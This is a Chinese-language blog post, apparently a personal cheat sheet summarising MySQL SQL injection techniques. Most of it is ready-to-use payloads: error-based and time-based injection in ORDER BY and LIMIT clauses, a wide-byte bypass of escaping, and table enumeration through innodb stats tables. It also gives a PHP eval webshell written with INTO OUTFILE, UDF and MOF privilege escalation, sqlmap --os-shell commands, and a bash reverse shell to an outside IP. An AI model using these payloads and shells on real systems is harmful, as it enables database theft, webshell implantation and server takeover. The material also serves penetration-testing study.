Fork me on GitHub

sql注入总结

SQL注入的本质

1
对于输入检查不充分,导致SQL语句将用户提交的非法数据当作语句的一部分来执行。攻击者通过注入语句,改变SQL语句执行逻辑,通过控制部分SQL语句,攻击者可以查询数据库中任何自己需要的数据,利用数据库的一些特性,可以直接获取数据库服务器的系统权限。

order by注入:

不能使用unoin,having,where

1
2
3
4
5
select id from websites order by updatexml(1,if(1=2,1,concat(0x3a,database())),1);
select id from websites order by 1 and updatexml(1,if(1=2,1,concat(0x3a,database())),1);
select id from websites order by extractvalue(1,if(1=2,1,concat(0x3a,version())));
select id from websites order by if(1=2,1,sleep(3));
select id from websites order by if(ascii(mid(database(),1,1))=106,1,sleep(3));

limit注入

  • 不存在order by关键字
1
2
select id from websites limit 0,1;
select id from websites limit 0,1 union select name from websites;
  • 存在order by关键字

    PROCEDUREINTOINTO除非有写入shell的权限
    extractvaluebenchmark函数进行延时,需要版本5.0.0<mysql<5.6.6

    其中extractvalue(目标xml文档,xml路径),xml文档中查找字符位置是用/xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,所以使用此函数时需要用concat()做分割(待定)

    1
    2
    3
    报错注入:select id from websites order by id desc limit 0,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
    延时注入:select id from websites order by id desc limit 0 procedure analyse(extractvalue(1,concat(0x3a,benchmark(10000,sha1(1)))),1);
    select id from websites order by id desc limit 0 procedure analyse(extractvalue(rand(),concat(0x3a,(if(mid(version(),1,1) like '5',benchmark(10000,sha1(1)),1)))),1);
  • like:% 0个或者多个字符;_ 单个字符

宽字节注入原理

1
利用mysql的一个特性,mysql在使用GBK编码的时候,会认为两个字符是一个汉字,而当我们输入有单引号时会自动加入\进行转义而变为\'(在PHP配置文件中magic_quotes_gpc=On的情况下或者使用addslashes(),icov(),mysql_real_escape_string()、mysql_escape_string()等,提交的参数(%df)中如果带有单引号',就会被自动转义\'),由于宽字节带来的安全问题主要是吃ASCII字符(一字节)的现象,将后面的一个字节与前一个大于128的ascii码进行组合成为一个完整的字符(mysql判断一个字符是不是汉字,首先两个字符是一个汉字,另外根据gbk编码,第一个字节ascii码大于128,基本上就可以了),此时'前的\就被吃了,我们就可以使用'了。

sql注入写shell相关

information_schema.tables不能用时,在MySQL 5.6及以上版本中可以使用以下获取表名

1
2
3
?id=1' union select 1,group_concat(table_name) from mysql.innodb_table_stats where database_name="test"

?id=1' union select 1,group_concat(table_name) from mysql.innodb_index_stats where database_name="test"

找物理路径:

1
2
3
4
报错
phpinfo
load_file:`SELECT LOAD_FILE('/etc/apache2/sites-available/default');`要有file_priv权限,知道文件绝对路径,能使用union,对web目录有读权限
通过mysql函数 查找mysql安装目录:show variables like 'datadir';
  • 1' union select 1,'<?php eval($_POST[a]);?>' INTO OUTFILE '/var/www/tmp/nb.php'#

sql注入提权,提权原理

  • UDF(user-defined function)是MySQL的一个拓展接口,也可称之为用户自定义函数,可以说是数据库功能的一种扩展,用户通过自定义函数来实现在MySQL中无法方便实现的功能,其添加的新函数都可以在SQL语句中调用,就像本机函数如ABS()或SOUNDEX()一样方便
  • MOF提权:MOF文件每五秒就会执行,而且是系统权限,我们通过mysql使用load_file 将文件写入/wbme/mof,然后系统每隔五秒就会执行一次我们上传的MOF。MOF当中有一段是vbs脚本,我们可以通过控制这段vbs脚本的内容让系统执行命令,进行提权
    1. windows 03及以下版本
    2. mysql启动身份具有权限去读写c:/windows/system32/wbem/mof目录
    3. secure-file-priv参数不为null

sqlmap一些使用

  • sqlmap的https注入,sqlmap -u https://192.168.1.1/a.php?id=1" –force-ssl

  • -r 从文件中载入HTTP请求

  • --is-dba查询当前数据库的账户是否为管理员账户

    sqlmap连接mysql获取shell

  • 直接连接数据库python sqlmap.py -d mysql://root:@127.0.0.1:3306/test --os-shell

  • 然后选择是多少位的操作系统,获取webshell,执行bash -i >& /dev/tcp/120.xx.xx.xx/8989>&1,还可以直接执行以下命令

    os-shell> whoami

    os-shell> ipconfig

  • 反弹到服务器120.xx.xx.xx

  • 通过echo命令生成shell:echo "<?php @eval($_POST["cai"]);?>" >/data/www/1.php

-------------本文结束感谢您的阅读-------------